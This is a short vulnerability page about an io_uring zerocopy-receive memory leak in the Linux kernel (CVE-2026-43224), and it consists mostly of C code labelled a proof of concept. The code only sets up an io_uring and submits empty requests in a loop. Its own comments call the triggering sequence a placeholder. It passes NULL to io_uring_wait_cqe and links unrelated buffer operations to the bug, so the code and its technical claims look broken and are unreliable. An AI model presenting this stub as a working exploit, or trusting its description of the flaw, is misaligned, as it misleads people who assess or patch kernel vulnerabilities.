CVE-2026-43224: Linux内核io_uring内存泄漏漏洞

/* * PoC for CVE-2026-43224 * This code attempts to trigger the io_uring zerocopy receive path. * Successful exploitation requires a system with PAGE_POOL_32BIT_ARCH_WITH_64BIT_DMA. * Compile with: gcc -o poc_cve2026_43224 poc_cve2026_43224.c -luring */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <liburing.h> #define QUEUE_DEPTH 256 int main() { struct io_uring ring; int ret; // Initialize io_uring instance ret = io_uring_queue_init(QUEUE_DEPTH, &ring, 0); if (ret < 0) { perror("io_uring_queue_init"); return 1; } printf("[+] io_uring initialized. Attempting to trigger zcrx path...\n"); printf("[!] Note: This PoC demonstrates the setup. The actual leak depends on specific hardware conditions (32-bit arch with 64-bit DMA) and network configuration.\n"); // In a real scenario, one would set up a socket and register buffers // to force the io_zcrx_map_area path. // Loop to attempt triggering the condition for (int i = 0; i < 100; i++) { // Placeholder for the actual syscall sequence that triggers the bug // This typically involves IORING_OP_PROVIDE_BUFFERS with zerocopy enabled struct io_uring_sqe *sqe = io_uring_get_sqe(&ring); if (!sqe) { fprintf(stderr, "Could not get sqe\n"); break; } // Setup sqe for buffer registration (simplified) // io_uring_prep_provide_buffers(sqe, ...); io_uring_submit(&ring); io_uring_wait_cqe(&ring, NULL); } io_uring_queue_exit(&ring); printf("[+] Done.\n"); return 0; }